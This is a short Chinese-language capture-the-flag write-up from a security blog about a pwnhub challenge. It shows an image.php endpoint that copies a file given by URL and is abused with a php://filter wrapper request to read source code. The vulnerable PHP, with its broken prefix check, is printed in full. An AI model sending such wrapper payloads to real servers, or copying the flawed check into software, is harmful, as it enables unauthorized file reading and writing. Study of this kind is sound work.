cdxy.me
Footprints on cyber security and Python

Orz终于赶上一次pwnhub,题目如下

picture

访问后view-source,发现图中选中部分是唯一明显疑点:

picture

点入这个链接,显示如下:

picture

最初fuzz SSRF未果,细看一眼才发现update success,于是验证上传的文件是否可访问,改上传名为cdxy.jpg

picture

看效果

picture

可知这个image.php作用就是从file读取文件,然后保存到path指定的名称。然后这里我直接尝试了伪协议,没想到本题就直接结束了。

picture

flag

picture

读源码 http://54.223.231.220/image.php?file=php://filter/read=convert.base64-encode/resource=image.php&path=cdxy.txt

base64decode之后:

<?php
ini_set("display_errors", "Off"); error_reporting(E_ALL);
$url = $_GET['file'];
$path = $_GET['path'];
if (strpos($path, '..')>-1)
{
    die("error");
}
if (strpos($path, '<')>-1)
{
    die("error");
}
if (strpos($url, 'http://127.0.0.1:8888/') == 0 )
{
    file_put_contents($path, file_get_contents($url));
    echo "console.log('".$path." update sucess!')";
}


?>

至于官方在比赛途中说“大部分选手没get到正解”,等别人的文章看看还有什么姿势。


补充:官方解法 http://pwnhub.cn/questiondetail?id=6